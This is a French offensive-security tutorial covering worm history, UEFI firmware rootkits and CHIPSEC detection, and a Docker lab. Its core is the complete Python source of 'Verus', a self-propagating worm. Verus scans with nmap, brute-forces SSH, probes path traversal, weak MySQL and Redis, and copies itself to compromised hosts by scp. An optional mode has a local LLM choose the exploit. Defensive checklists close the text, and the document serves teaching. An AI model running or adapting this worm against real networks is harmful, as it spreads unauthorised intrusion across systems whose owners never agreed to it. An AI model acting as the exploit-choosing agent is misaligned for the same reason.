L'idée reçue est que la sécurité offensive est un domaine en constante révolution, où seules les dernières techniques comptent. C'est faux. Les principes fondamentaux — propagation, persistance, furtivité — n'ont pas changé. Seuls les vecteurs et les cibles ont évolué.
Ce programme de 99 lignes a paralysé une partie d'Internet en 1988. Ses méthodes :
fingerd, sendmail via des buffer overflows./etc/hosts.equiv et .rhosts pour trouver des machines qui faisaient confiance à l'hôte infecté.Ce ver exploitait des erreurs de configuration et des faiblesses de conception, pas des failles zero-day sophistiquées. Et pourtant, il a infecté environ 6 000 machines — un chiffre considérable pour l'époque.
Le premier véritable exemple médiatisé d'attaque cyber-physique. Son objectif n'était pas de voler des données, mais de saboter des centrifugeuses dans une installation nucléaire iranienne.
Le modèle OSI est une abstraction ; dans la réalité, un implant matériel peut opérer à plusieurs niveaux simultanément. Un implant matériel court-circuite les défenses logicielles. Un pare-feu ne verra rien si le trafic est capturé physiquement avant d'atteindre la pile TCP/IP. Un antivirus ne détectera rien si la charge malveillante est injectée via un bus matériel.
| Implant / Technique | Description | Source / Référence |
|---|---|---|
| Hak5 O.MG Cable | Câble de charge USB malveillant. Exécute des payloads HID via un point d'accès WiFi caché. Persistance mobile lors d'engagements Red Team. | Hak5 (produit commercial, présenté en conférences depuis 2019) |
| USB Rubber Ducky / Digispark | Implants USB miniatures exécutant des payloads de keystroke injection à haute vitesse. Classiques du Red Team physique depuis 2010. | Hak5, Digistump |
| Implant réseau sur Raspberry Pi | Dispositifs de la taille d'un paquet de cartes, plantés physiquement et contrôlés à distance. Utilisés dans plusieurs affaires documentées, notamment pour cibler des distributeurs de billets (groupe UNC2891). | Mandiant (rapport public sur UNC2891) |
| Faux portefeuilles matériels | Cas documentés de portefeuilles crypto contrefaits contenant des composants électroniques modifiés (interception du bus SPI, exfiltration). | Documenté par Joe Grand et la communauté hardware (conférences et blogs spécialisés) |
Les objets connectés sont souvent mal sécurisés (mots de passe par défaut, firmwares non mis à jour) et connectés à Internet. Ils constituent des points d'entrée idéaux. Un implant matériel peut s'y connecter, établir une persistance, et de là, pivoter vers le réseau interne.
L'IA n'est pas seulement un outil pour les défenseurs. Des chercheurs ont publié des preuves de concept expérimentales de vers informatiques pilotés par un modèle de langage local, capables de raisonner pour se propager à travers un réseau. À ce jour, aucun de ces vers n'a été observé in-the-wild. Il s'agit de travaux de recherche, pas de menaces déployées.
| Travail de recherche | Mécanisme annoncé | Statut |
|---|---|---|
| Ver auto-propageant piloté par LLM local (travaux publiés en 2024-2025) | Utilise un petit LLM local (type Phi-3, Llama 3 8B) hébergé sur les machines compromises pour analyser les cibles et générer des exploits sur mesure. Propagation observée en laboratoire sur plusieurs générations. | Preuve de concept expérimentale, pas d'observation in-the-wild |
| Attaques sur agents LLM | Études sur la propagation entre agents conversationnels (écosystèmes type plateformes multi-agents). | Recherche académique |
| Botnets IoT décentralisés | Architecture primitive mais résistante au blacklisting grâce à la nature jetable des appareils. Propagation autonome sans contrôle centralisé. | Observé in-the-wild depuis plusieurs années (Mirai, variants récents) |
Parmi toutes les techniques de persistance, l'implantation dans le firmware est la plus avancée et la plus difficile à contrer. Elle opère en dessous du système d'exploitation, en dessous du disque dur. Un implant firmware correctement placé survit à la réinstallation de l'OS et, dans certains cas, au remplacement du disque dur.
Un implant UEFI et un implant SPI flash ne sont pas la même chose : le premier est un code, le second est la puce où ce code réside. Ne pas confondre.
| Niveau | Emplacement | Méthode de nettoyage | Survit à la réinstallation OS ? |
|---|---|---|---|
| L1 : NVRAM Boot Entry | Variables UEFI NVRAM | Effacer les variables NVRAM | Non (généralement) |
| L2 : ESP Infection | Partition système EFI (sur le disque) | Formater l'ESP / Réinstaller | Non |
| L3 : SPI Flash Implant | Puce SPI (firmware UEFI) | Reflasher la puce | Oui ✓ |
| L4 : Intel ME / AMD PSP | Micro-contrôleur embarqué | Outils constructeur uniquement | Oui ✓ (plus difficile) |
Les niveaux L1 et L2 relèvent de la « persistance logicielle ». Les niveaux L3 et L4 relèvent de la « persistance firmware » à proprement parler — nettement plus difficile à éradiquer.
Ces techniques ne sont pas théoriques. Plusieurs familles ont été documentées par des éditeurs de sécurité reconnus.
| Implant | Attribution (si connue) | Technique | Documentation |
|---|---|---|---|
| LoJax (2018) | Sednit / APT28 (attribué par ESET) | Premier rootkit UEFI in-the-wild identifié. Ajout d'un driver DXE malveillant dans la flash SPI. | ESET, whitepaper public |
| MosaicRegressor (2020) | Non attribué, artefacts dérivés de code Hacking Team | Implant UEFI avec plusieurs modules, dont un dropper persistant. | Kaspersky, 2020 |
| MoonBounce (2022) | APT41 / Winnti (attribué par Kaspersky) | Modifie le CORE_DXE existant plutôt que d'ajouter un module. Hooks sur des fonctions de boot services. | Kaspersky, 2022 |
| BlackLotus (2023) | Non attribué | Bootkit UEFI capable de contourner Secure Boot sur Windows 11 mis à jour (exploite CVE-2022-21894). | ESET, 2023 |
| CosmicStrand (2022) | Non attribué, actif depuis 2016 selon Kaspersky | Rootkit UEFI ciblant des particuliers en Asie et au Moyen-Orient. | Kaspersky, 2022 |
La flash SPI est protégée par des mécanismes matériels :
Les voies de contournement connues et documentées incluent :
flashrom pour lire/écrire directement la puce SPI.Une fois l'accès obtenu, l'attaquant peut :
ExitBootServices est particulièrement prisé car il permet d'injecter du code dans le kernel avant que l'OS ne prenne le contrôle.L'implant firmware peut :
CHIPSEC est le framework open-source de référence pour auditer l'intégrité du firmware et détecter les rootkits UEFI. Il opère à trois niveaux :
# Vérifier les protections de la flash SPI
chipsec_util.py spi dump bios_region.bin
# Scanner les modules UEFI pour détecter des menaces connues
chipsec_util.py uefi scan
# Vérifier l'état de Secure Boot
chipsec_util.py uefi secureboot
# Analyser les variables NVRAM
chipsec_util.py uefi var-list
# Créer une whitelist de référence (image propre)
chipsec_util.py uefi whitelist create --output baseline.json
# Comparer un dump suspect avec la baseline
chipsec_util.py uefi whitelist compare --baseline baseline.json --input suspect.bin
CHIPSEC peut détecter des familles connues, dont LoJax, ThinkPwn, MosaicRegressor et certaines modifications de type MoonBounce.
| Outil | Usage |
|---|---|
| UEFITool / UEFIExtract | Parsing de firmware UEFI, extraction des drivers DXE |
| Firmware Analysis Toolkit (FAT) | Analyse automatisée de firmware, émulation QEMU |
| Scanners antivirus UEFI | Kaspersky, ESET et d'autres éditeurs proposent des modules de scan firmware |
| TPM 2.0 + Measured Boot | Utilisation des logs TCG pour détecter des altérations de la chaîne de boot |
| Mesure | Description | Efficacité |
|---|---|---|
| Intel Boot Guard / AMD PSB | Vérification cryptographique du firmware au démarrage. Ligne de défense la plus forte contre les implants SPI. | Très élevée (si activée et correctement configurée) |
| Verrouillage de la flash SPI (FLOCKDN) | Empêche l'écriture dans la flash après le POST. | Élevée (si activé) |
| Secure Boot avec dbx à jour | Empêche le chargement de bootloaders non signés. Mettre à jour régulièrement la base de révocation (dbx). | Moyenne (contournable — cf. BlackLotus) |
| TPM 2.0 + Measured Boot | Mesure chaque composant du boot et stocke les mesures dans le TPM. | Élevée (détection a posteriori) |
| Monitoring d'intégrité firmware | Solutions dédiées (Eclypsium, modules CHIPSEC) qui vérifient périodiquement l'intégrité. | Élevée |
| Contrôle physique | Bloqueurs de ports USB, inspection des équipements, contrôle des accès aux salles serveurs. | Variable |
| Réflashing régulier | Mettre à jour le firmware depuis une source constructeur de confiance. | Élevée (si la source est propre) |
Intégrer l'analyse firmware dans votre laboratoire vous permet de :
Ce script Bash crée un laboratoire isolé avec Docker Compose. Il déploie un réseau segmenté avec :
#!/bin/bash
# ============================================================
# LAB SÉCURITÉ OFFENSIVE 2027 — ENVIRONNEMENT ISOLÉ
# ============================================================
# Avertissement : Ce script est fourni à des fins éducatives.
# Ne l'exécutez que sur une machine qui vous appartient et
# dans un environnement réseau isolé.
# ============================================================
set -euo pipefail
LAB_DIR="${HOME}/lab-securite-2027"
DOCKER_NETWORK="lab-net-2027"
SUBNET="172.28.0.0/16"
# --- Vérifications ---
if ! command -v docker &> /dev/null; then
echo "[!] Docker n'est pas installé. Installez-le avant de continuer."
exit 1
fi
if ! docker compose version &> /dev/null; then
echo "[!] Docker Compose v2 n'est pas disponible."
exit 1
fi
echo "[*] Création du répertoire : ${LAB_DIR}"
mkdir -p "${LAB_DIR}"
cd "${LAB_DIR}"
# --- Réseau isolé ---
echo "[*] Création du réseau Docker isolé : ${DOCKER_NETWORK}"
if ! docker network inspect "${DOCKER_NETWORK}" &> /dev/null; then
docker network create \
--driver bridge \
--subnet="${SUBNET}" \
"${DOCKER_NETWORK}"
else
echo "[i] Le réseau ${DOCKER_NETWORK} existe déjà."
fi
# --- docker-compose.yml ---
cat > docker-compose.yml <<'EOF'
services:
kali:
image: kalilinux/kali-rolling:latest
container_name: lab-kali
networks:
- lab-net
tty: true
stdin_open: true
command: /bin/bash
restart: unless-stopped
cap_add:
- NET_ADMIN
- NET_RAW
web-vuln:
image: vulnerables/web-dvwa:latest
container_name: lab-dvwa
networks:
- lab-net
ports:
- "127.0.0.1:8080:80"
environment:
- MYSQL_ROOT_PASSWORD=root
restart: unless-stopped
ssh-vuln:
image: linuxserver/openssh-server:latest
container_name: lab-ssh
networks:
- lab-net
ports:
- "127.0.0.1:2222:2222"
environment:
- PUID=1000
- PGID=1000
- TZ=Europe/Paris
- SUDO_ACCESS=true
- PASSWORD_ACCESS=true
- USER_PASSWORD=password123
- USER_NAME=labuser
restart: unless-stopped
iot-camera:
image: linuxserver/openssh-server:latest
container_name: lab-iot-camera
networks:
- lab-net
ports:
- "127.0.0.1:8081:22"
environment:
- PUID=1000
- PGID=1000
- USER_NAME=camera
- USER_PASSWORD=camera123
restart: unless-stopped
iot-thermostat:
image: nginx:alpine
container_name: lab-iot-thermostat
networks:
- lab-net
ports:
- "127.0.0.1:8082:80"
restart: unless-stopped
splunk:
image: splunk/splunk:latest
container_name: lab-splunk
networks:
- lab-net
ports:
- "127.0.0.1:8001:8000"
- "127.0.0.1:8088:8088"
environment:
- SPLUNK_START_ARGS=--accept-license
- SPLUNK_PASSWORD=Chang3d!
restart: unless-stopped
networks:
lab-net:
external: true
name: lab-net-2027
EOF
# --- Démarrage ---
echo "[*] Démarrage des conteneurs..."
docker compose up -d
# --- Résumé ---
echo ""
echo "============================================================"
echo " LABORATOIRE 2027 PRÊT"
echo "============================================================"
echo ""
echo " Services accessibles depuis l'hôte (127.0.0.1) :"
echo " - DVWA (web vulnérable) : http://127.0.0.1:8080"
echo " - SSH (serveur vulnérable) : ssh labuser@127.0.0.1 -p 2222"
echo " - IoT Caméra (SSH) : ssh camera@127.0.0.1 -p 8081"
echo " - IoT Thermostat (web) : http://127.0.0.1:8082"
echo " - Splunk (logs) : http://127.0.0.1:8001"
echo " Login : admin / Chang3d!"
echo ""
echo " Machine d'attaque Kali :"
echo " docker exec -it lab-kali /bin/bash"
echo ""
echo " Outils recommandés dans Kali :"
echo " - nmap, hydra, sqlmap, metasploit"
echo " - chipsec (pip install chipsec) pour l'analyse firmware"
echo ""
echo " Arrêt et suppression :"
echo " cd ${LAB_DIR} && docker compose down"
echo ""
echo "============================================================"
echo " RAPPEL : Ne l'exposez pas sur Internet."
echo "============================================================"
Verus est un script éducatif conçu pour démontrer les principes de propagation automatisée dans un environnement de laboratoire isolé. Il est qualifié d'« adaptatif » au sens restreint : il ajuste son choix de vulnérabilité en fonction de la cible, mais il ne génère pas de stratégie inédite et ne modifie pas sa logique en cas d'échec.
Le reste de la chaîne (reconnaissance, exécution, propagation) est déterministe et identique dans les deux modes.
Verus fonctionne selon deux modes :
subprocess réels (nmap, hydra, sqlmap). Ils sont destinés exclusivement à un lab local isolé, sans accès Internet, sur des machines vous appartenant.
| Phase | Module | Mode autonome | Mode IA |
|---|---|---|---|
| 1. Reconnaissance | Reconnaissance |
Scan nmap + parsing | Identique |
| 2. Sélection de vulnérabilité | Exploitation._select_vulnerability_* |
Dictionnaire statique + score de confiance | Appel LLM + fallback autonome |
| 3. Exploitation | Exploitation.exploit_host |
subprocess (hydra, curl, redis-cli, mysql) |
Identique |
| 4. Propagation | Propagation.propagate |
Copie SSH de verus.py |
Identique |
| 5. Logging | Logger |
JSON structuré | Identique + source de décision |
lab-securite-2027/
├── verus/
│ ├── verus.py # Script principal
│ ├── llm.py # Interface Ollama/Llama 3 (optionnel)
│ ├── config.json # Configuration
│ └── verus_log.json # Log généré à l'exécution
llm.py — Interface IA optionnelle#!/usr/bin/env python3
"""
llm.py — Interface optionnelle avec Ollama/Llama 3.
BRAS OPTIONNEL. Si Ollama n'est pas disponible, verus.py bascule
automatiquement en mode autonome. Le ver reste pleinement fonctionnel.
"""
import json
import subprocess
from typing import Optional, Dict, Any
try:
import ollama
OLLAMA_AVAILABLE = True
except ImportError:
OLLAMA_AVAILABLE = False
class LLMAssistant:
"""Assistant IA local via Ollama. Couche de raisonnement optionnelle."""
def __init__(self, model: str = "llama3", host: str = "http://localhost:11434"):
self.model = model
self.host = host
self.available = False
self._check_availability()
def _check_availability(self) -> None:
if not OLLAMA_AVAILABLE:
print("[LLM] Module 'ollama' non installé. Mode autonome activé.")
return
try:
result = subprocess.run(
["ollama", "list"],
capture_output=True, text=True, timeout=5
)
if result.returncode == 0 and self.model in result.stdout:
self.available = True
print(f"[LLM] Ollama disponible avec le modèle '{self.model}'.")
else:
print(f"[LLM] Modèle '{self.model}' non trouvé. "
f"Exécutez: ollama pull {self.model}")
except (FileNotFoundError, subprocess.TimeoutExpired):
print("[LLM] Ollama non disponible. Mode autonome activé.")
def reason_about_target(self, target_info: Dict[str, Any]) -> Optional[Dict]:
"""Demande au LLM d'analyser une cible et de suggérer une stratégie."""
if not self.available:
return None
prompt = f"""Tu es un assistant d'audit de sécurité dans un laboratoire isolé.
Analyse les informations suivantes sur une cible réseau et suggère
la meilleure stratégie pour tester sa sécurité.
Informations sur la cible :
- IP : {target_info.get('ip', 'inconnue')}
- Ports ouverts : {target_info.get('ports', [])}
- Services détectés : {target_info.get('services', {})}
- OS : {target_info.get('os', 'inconnu')}
Réponds en JSON avec les clés suivantes :
- "vulnerability": la vulnérabilité la plus prometteuse
- "exploit_method": la méthode d'exploitation suggérée
- "confidence": un score de 0 à 100
- "reasoning": une explication courte
Réponds UNIQUEMENT avec le JSON, sans texte autour."""
try:
response = ollama.chat(
model=self.model,
messages=[{"role": "user", "content": prompt}]
)
content = response['message']['content'].strip()
if content.startswith("```"):
content = content.split("\n", 1)[1].rsplit("```", 1)[0]
parsed = json.loads(content)
print(f"[LLM] Analyse : {parsed.get('reasoning', 'N/A')}")
return parsed
except Exception as e:
print(f"[LLM] Erreur d'analyse : {e}. Bascule en mode autonome.")
return None
verus.py — Agent principalLe script utilise subprocess pour appeler réellement nmap, hydra, curl, redis-cli et mysql dans le lab. Les sorties sont parsées pour extraire les informations pertinentes.
#!/usr/bin/env python3
"""
verus.py — Agent de propagation automatisé (labo isolé).
MODES :
--autonome : Règles statiques uniquement (SANS IA)
--ia : Assistance Llama 3 optionnelle (fallback autonome)
AVERTISSEMENT : Usage strictement éducatif en laboratoire isolé.
"""
import argparse
import ipaddress
import json
import os
import random
import subprocess
import sys
import time
from concurrent.futures import ThreadPoolExecutor, as_completed
from dataclasses import dataclass
from datetime import datetime
from typing import List, Dict, Optional
try:
from llm import LLMAssistant
LLM_MODULE_AVAILABLE = True
except ImportError:
LLM_MODULE_AVAILABLE = False
# ============================================================
# CONFIGURATION
# ============================================================
@dataclass
class VerusConfig:
network: str = "172.28.0.0/16"
max_hosts: int = 30
timeout: float = 3.0
delay: float = 0.5
use_ai: bool = False
llm_model: str = "llama3"
log_file: str = "verus_log.json"
ssh_user: str = "labuser"
ssh_pass: str = "password123"
# ============================================================
# PHASE 1 : RECONNAISSANCE (nmap réel)
# ============================================================
class Reconnaissance:
PORTS = "22,80,443,3306,5432,6379,8080,2222,8082"
def __init__(self, config: VerusConfig):
self.config = config
self.discovered_hosts: List[Dict] = []
def scan_host(self, ip: str) -> Optional[Dict]:
"""Scan nmap réel sur un hôte unique."""
host_info = {
"ip": ip, "ports": [], "services": {},
"os": "inconnu", "vulns": []
}
try:
result = subprocess.run(
["nmap", "-sV", "-Pn", "-p", self.PORTS,
"--host-timeout", f"{int(self.config.timeout * 10)}s", ip],
capture_output=True, text=True, timeout=30
)
output = result.stdout
for line in output.splitlines():
if "/tcp" in line and "open" in line:
parts = line.split()
port = int(parts[0].split("/")[0])
service = parts[2] if len(parts) > 2 else "unknown"
version = " ".join(parts[3:]) if len(parts) > 3 else ""
host_info["ports"].append(port)
host_info["services"][port] = f"{service} {version}".strip()
if host_info["ports"]:
print(f" [+] {ip} : {host_info['services']}")
self.discovered_hosts.append(host_info)
return host_info
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
print(f" [!] Erreur nmap sur {ip} : {e}")
return None
def scan_network(self) -> List[Dict]:
print(f"[*] Scan du réseau {self.config.network}...")
network = ipaddress.ip_network(self.config.network, strict=False)
hosts = [str(ip) for ip in network.hosts()]
random.shuffle(hosts)
targets = hosts[:self.config.max_hosts]
print(f"[*] {len(targets)} hôtes à scanner avec nmap...")
with ThreadPoolExecutor(max_workers=10) as executor:
futures = {executor.submit(self.scan_host, ip): ip for ip in targets}
for future in as_completed(futures):
try:
future.result()
except Exception:
pass
print(f"[*] {len(self.discovered_hosts)} hôte(s) avec services détectés.")
return self.discovered_hosts
# ============================================================
# PHASE 2 : EXPLOITATION (hydra, curl, redis-cli, mysql réels)
# ============================================================
class Exploitation:
VULNS_CONNUES = {
"ssh": [
{"name": "SSH-Faible-MotDePasse", "method": "hydra_ssh",
"confidence": 60, "tool": "hydra"},
],
"http": [
{"name": "HTTP-Directory-Traversal", "method": "curl_path_traversal",
"confidence": 30, "tool": "curl"},
{"name": "HTTP-Admin-Panel", "method": "curl_admin",
"confidence": 25, "tool": "curl"},
],
"mysql": [
{"name": "MySQL-Faible-Root", "method": "weak_credentials",
"confidence": 50, "tool": "mysql"},
],
"redis": [
{"name": "Redis-NoAuth", "method": "redis_unauth",
"confidence": 80, "tool": "redis-cli"},
],
}
def __init__(self, config: VerusConfig, llm=None):
self.config = config
self.llm = llm
self.exploited_hosts: List[Dict] = []
def _select_vulnerability_autonome(self, host: Dict) -> Optional[Dict]:
candidates = []
for port, service in host.get("services", {}).items():
service_lower = service.lower()
for key, vulns in self.VULNS_CONNUES.items():
if key in service_lower:
for vuln in vulns:
candidates.append({**vuln, "port": port,
"service": service,
"source": "autonome"})
if not candidates:
return None
candidates.sort(key=lambda x: x["confidence"], reverse=True)
return random.choice(candidates[:3])
def _select_vulnerability_ia(self, host: Dict) -> Optional[Dict]:
if not self.llm or not self.llm.available:
return self._select_vulnerability_autonome(host)
print(f" [IA] Analyse LLM de {host['ip']}...")
decision = self.llm.reason_about_target(host)
if decision:
return {
"name": decision.get("vulnerability", "IA-Suggestion"),
"method": decision.get("exploit_method", "unknown"),
"confidence": decision.get("confidence", 50),
"port": host["ports"][0] if host["ports"] else None,
"service": list(host["services"].values())[0] if host["services"] else "unknown",
"source": "ia",
"reasoning": decision.get("reasoning", ""),
}
return self._select_vulnerability_autonome(host)
def _execute_payload(self, vuln: Dict, host: Dict) -> Dict:
ip = host["ip"]
port = vuln.get("port", 22)
method = vuln["method"]
result = {"stdout": "", "returncode": -1, "cmd": ""}
try:
if method == "hydra_ssh":
cmd = ["hydra", "-l", self.config.ssh_user,
"-p", self.config.ssh_pass,
"-f", "-t", "4",
f"ssh://{ip}:{port}"]
result["cmd"] = " ".join(cmd)
r = subprocess.run(cmd, capture_output=True, text=True,
timeout=30)
result["stdout"] = r.stdout[-2000:]
result["returncode"] = r.returncode
elif method == "redis_unauth":
cmd = ["redis-cli", "-h", ip, "-p", str(port), "INFO"]
result["cmd"] = " ".join(cmd)
r = subprocess.run(cmd, capture_output=True, text=True,
timeout=10)
result["stdout"] = r.stdout[:500]
result["returncode"] = r.returncode
elif method in ("curl_path_traversal", "curl_admin"):
url_suffix = "/../../../../etc/passwd" if method == "curl_path_traversal" else "/admin"
cmd = ["curl", "-s", "-m", "5",
f"http://{ip}:{port}{url_suffix}"]
result["cmd"] = " ".join(cmd)
r = subprocess.run(cmd, capture_output=True, text=True,
timeout=10)
result["stdout"] = r.stdout[:500]
result["returncode"] = r.returncode
elif method == "weak_credentials":
cmd = ["mysql", "-h", ip, "-u", "root", "-proot",
"-e", "SELECT 1;"]
result["cmd"] = " ".join(cmd)
r = subprocess.run(cmd, capture_output=True, text=True,
timeout=10)
result["stdout"] = r.stdout[:200]
result["returncode"] = r.returncode
except (subprocess.TimeoutExpired, FileNotFoundError) as e:
result["stdout"] = f"Erreur: {e}"
return result
def exploit_host(self, host: Dict) -> Optional[Dict]:
ip = host["ip"]
print(f"[*] Exploitation de {ip}...")
if self.config.use_ai and self.llm:
vuln = self._select_vulnerability_ia(host)
else:
vuln = self._select_vulnerability_autonome(host)
if not vuln:
print(f" [-] Aucune vulnérabilité applicable pour {ip}.")
return None
print(f" [+] Cible : {vuln['name']} "
f"(confiance={vuln['confidence']}%, source={vuln['source']})")
payload_result = self._execute_payload(vuln, host)
success = (
payload_result["returncode"] == 0 and
("password" in payload_result["stdout"].lower() or
"login" in payload_result["stdout"].lower() or
"redis_version" in payload_result["stdout"].lower() or
"root:" in payload_result["stdout"])
)
result = {
"ip": ip,
"vulnerability": vuln["name"],
"method": vuln["method"],
"source": vuln["source"],
"confidence": vuln["confidence"],
"cmd": payload_result["cmd"],
"output": payload_result["stdout"][:1000],
"success": success,
"timestamp": datetime.now().isoformat(),
}
if success:
print(f" [+] SUCCÈS sur {ip}")
self.exploited_hosts.append(result)
else:
print(f" [-] Échec sur {ip} (code={payload_result['returncode']})")
return result
def exploit_all(self, hosts: List[Dict]) -> List[Dict]:
print(f"\n[*] Phase d'exploitation — {len(hosts)} cible(s)...")
results = []
for host in hosts:
r = self.exploit_host(host)
if r:
results.append(r)
time.sleep(self.config.delay)
print(f"[*] {len(self.exploited_hosts)}/{len(hosts)} succès.")
return results
# ============================================================
# PHASE 3 : PROPAGATION
# ============================================================
class Propagation:
def __init__(self, config: VerusConfig):
self.config = config
self.propagated: List[Dict] = []
def propagate(self, exploited_hosts: List[Dict]) -> List[Dict]:
print(f"\n[*] Propagation — {len(exploited_hosts)} hôte(s) compromis...")
script_path = os.path.abspath(__file__)
for host in exploited_hosts:
if not host.get("success"):
continue
try:
cmd = [
"sshpass", "-p", self.config.ssh_pass,
"scp",
"-o", "StrictHostKeyChecking=no",
"-o", "ConnectTimeout=5",
"-P", "2222",
script_path,
f"{self.config.ssh_user}@{host['ip']}:/tmp/verus.py"
]
r = subprocess.run(cmd, capture_output=True, text=True,
timeout=15)
success = r.returncode == 0
except (subprocess.TimeoutExpired, FileNotFoundError):
success = False
self.propagated.append({
"target": host["ip"],
"success": success,
"timestamp": datetime.now().isoformat(),
})
print(f" {'[+]' if success else '[-]'} Propagation vers {host['ip']}")
return self.propagated
# ============================================================
# LOGGER
# ============================================================
class Logger:
def __init__(self, log_file: str = "verus_log.json"):
self.log_file = log_file
self.data = {"start_time": None, "end_time": None, "config": {},
"discovered_hosts": [], "exploited_hosts": [],
"propagated": []}
def start(self, config: VerusConfig) -> None:
self.data["start_time"] = datetime.now().isoformat()
self.data["config"] = {
"network": config.network, "max_hosts": config.max_hosts,
"use_ai": config.use_ai,
"llm_model": config.llm_model if config.use_ai else None,
}
def record_discovered(self, h): self.data["discovered_hosts"] = h
def record_exploited(self, h): self.data["exploited_hosts"] = h
def record_propagated(self, h): self.data["propagated"] = h
def finish(self) -> None:
self.data["end_time"] = datetime.now().isoformat()
with open(self.log_file, "w", encoding="utf-8") as f:
json.dump(self.data, f, indent=2, ensure_ascii=False)
print(f"\n[*] Log sauvegardé : {self.log_file}")
def summary(self) -> str:
discovered = len(self.data["discovered_hosts"])
exploited = len([h for h in self.data["exploited_hosts"] if h.get("success")])
propagated = len([p for p in self.data["propagated"] if p.get("success")])
mode = "IA (Llama 3)" if self.data["config"].get("use_ai") else "AUTONOME"
return f"""
============================================================
RÉSUMÉ — VERUS
============================================================
Mode : {mode}
Réseau cible : {self.data['config']['network']}
Hôtes découverts : {discovered}
Hôtes exploités : {exploited}
Réplications : {propagated}
============================================================"""
# ============================================================
# MAIN
# ============================================================
def parse_args():
p = argparse.ArgumentParser(description="verus.py — Agent de propagation automatisé")
p.add_argument("--autonome", action="store_true")
p.add_argument("--ia", action="store_true")
p.add_argument("--network", default="172.28.0.0/16")
p.add_argument("--max-hosts", type=int, default=30)
p.add_argument("--timeout", type=float, default=3.0)
p.add_argument("--delay", type=float, default=0.5)
p.add_argument("--log", default="verus_log.json")
p.add_argument("--llm-model", default="llama3")
p.add_argument("--ssh-user", default="labuser")
p.add_argument("--ssh-pass", default="password123")
return p.parse_args()
def main():
args = parse_args()
print("""
============================================================
VERUS — Agent de propagation automatisé
LABORATOIRE ISOLÉ — USAGE STRICTEMENT ÉDUCATIF
============================================================""")
if not args.autonome and not args.ia:
print("[!] Spécifiez --autonome ou --ia.")
sys.exit(1)
use_ai = args.ia
if use_ai and not LLM_MODULE_AVAILABLE:
print("[!] Module IA non disponible. Bascule autonome.")
use_ai = False
config = VerusConfig(
network=args.network, max_hosts=args.max_hosts,
timeout=args.timeout, delay=args.delay,
use_ai=use_ai, llm_model=args.llm_model,
log_file=args.log, ssh_user=args.ssh_user, ssh_pass=args.ssh_pass,
)
logger = Logger(config.log_file)
logger.start(config)
llm = None
if use_ai:
print("[*] Initialisation de l'assistant IA...")
llm = LLMAssistant(model=config.llm_model)
if not llm.available:
print("[!] LLM indisponible. Passage en mode autonome.")
config.use_ai = False
# Phase 1
print("\n" + "=" * 60)
print(" PHASE 1 : RECONNAISSANCE (nmap)")
print("=" * 60)
recon = Reconnaissance(config)
discovered = recon.scan_network()
logger.record_discovered(discovered)
if not discovered:
print("[!] Aucun hôte. Fin.")
logger.finish()
sys.exit(0)
# Phase 2
print("\n" + "=" * 60)
print(" PHASE 2 : EXPLOITATION (hydra, curl, redis-cli, mysql)")
print("=" * 60)
exploitation = Exploitation(config, llm)
exploited = exploitation.exploit_all(discovered)
logger.record_exploited(exploited)
# Phase 3
print("\n" + "=" * 60)
print(" PHASE 3 : PROPAGATION (scp SSH)")
print("=" * 60)
propagation = Propagation(config)
propagated = propagation.propagate(exploited)
logger.record_propagated(propagated)
logger.finish()
print(logger.summary())
if __name__ == "__main__":
main()
apt update
apt install -y python3-pip nmap hydra sqlmap curl sshpass redis-tools mysql-client
pip install ollama
# Optionnel : pour le mode IA
# Sur l'hôte (pas dans le conteneur), démarrer Ollama :
# ollama serve
# ollama pull llama3
cd /root/verus
python3 verus.py --autonome --network 172.28.0.0/24 --max-hosts 20
Ce qui se passe :
nmap -sV est appelé via subprocess sur chaque hôte.VULNS_CONNUES).hydra, curl, redis-cli ou mysql.scp copie verus.py sur l'hôte compromis.# Vérifier qu'Ollama tourne bien sur l'hôte
curl http://localhost:11434/api/tags
python3 verus.py --ia --network 172.28.0.0/24 --max-hosts 20
Ce qui change : Le LLM est consulté pour chaque cible. Il renvoie une suggestion JSON. Si Ollama ne répond pas ou renvoie du JSON invalide, fallback automatique vers le mode autonome.
--autonome, un en --ia, puis comparer les logs JSON. Objectif : démontrer que l'IA n'est pas indispensable.
| Critère | Mode autonome | Mode IA |
|---|---|---|
| Sélection de vulnérabilité | Dictionnaire statique + score de confiance | Analyse contextuelle par LLM + fallback |
| Dépendance externe | Aucune | Ollama + modèle Llama 3 |
| Reproductibilité | Élevée (déterministe) | Variable (non-déterministe) |
| Complexité d'installation | Faible (apt + pip) | Élevée (GPU/RAM, modèle) |
| Fonctionne sans IA ? | ✅ Oui, par conception | ❌ Non (fallback autonome) |
| Détection des vulnérabilités réelles | Limitée au dictionnaire | Potentiellement plus créative |
Le fichier verus_log.json contient :
{
"start_time": "2027-01-15T14:22:31",
"end_time": "2027-01-15T14:25:12",
"config": {
"network": "172.28.0.0/24",
"use_ai": false,
"llm_model": null
},
"discovered_hosts": [
{"ip": "172.28.0.3", "ports": [80, 3306],
"services": {"80": "http Apache", "3306": "mysql 5.7"}}
],
"exploited_hosts": [
{"ip": "172.28.0.3", "vulnerability": "MySQL-Faible-Root",
"method": "weak_credentials", "source": "autonome",
"confidence": 50, "success": true,
"cmd": "mysql -h 172.28.0.3 -u root -proot -e SELECT 1;"}
],
"propagated": [
{"target": "172.28.0.3", "success": true}
]
}
Le champ "source" indique "autonome" ou "ia", ce qui permet de mesurer précisément l'apport du LLM sur chaque décision.
C'est la démonstration centrale : l'IA n'est ni indispensable, ni suffisante. Les fondamentaux restent les fondamentaux.
Détruire un ver ou un rootkit est souvent plus complexe que de s'en protéger. Voici une méthodologie en couches, du plus simple au plus profond.
C'est la couche la plus difficile à nettoyer. Un rootkit UEFI réside dans la flash SPI de la carte mère, en dessous du système d'exploitation, en dessous du disque dur.
Utilisez CHIPSEC pour :
FLOCKDN).Plutôt qu'une défense purement réactive, certains praticiens proposent de reprendre l'initiative en exerçant un contrôle proactif de l'environnement dont l'attaquant dépend. Cela implique un cycle continu de renseignement, de friction induite et d'anticipation, pour épuiser progressivement les APT.
Un modèle de langage peut :
| Couche | Action | Statut |
|---|---|---|
| Firmware | Activer Intel Boot Guard / AMD PSB | ☐ |
| Firmware | Vérifier que le bit FLOCKDN est activé (flash SPI verrouillée) | ☐ |
| Firmware | Maintenir la base de révocation Secure Boot (dbx) à jour | ☐ |
| Firmware | Activer TPM 2.0 et le Measured Boot | ☐ |
| Firmware | Déployer un monitoring d'intégrité firmware (CHIPSEC, Eclypsium) | ☐ |
| Firmware | Programmer des reflashes réguliers depuis une source constructeur | ☐ |
| Réseau | Segmenter le réseau IoT du réseau bureautique | ☐ |
| Endpoint | Désactiver les mots de passe par défaut sur tous les équipements | ☐ |
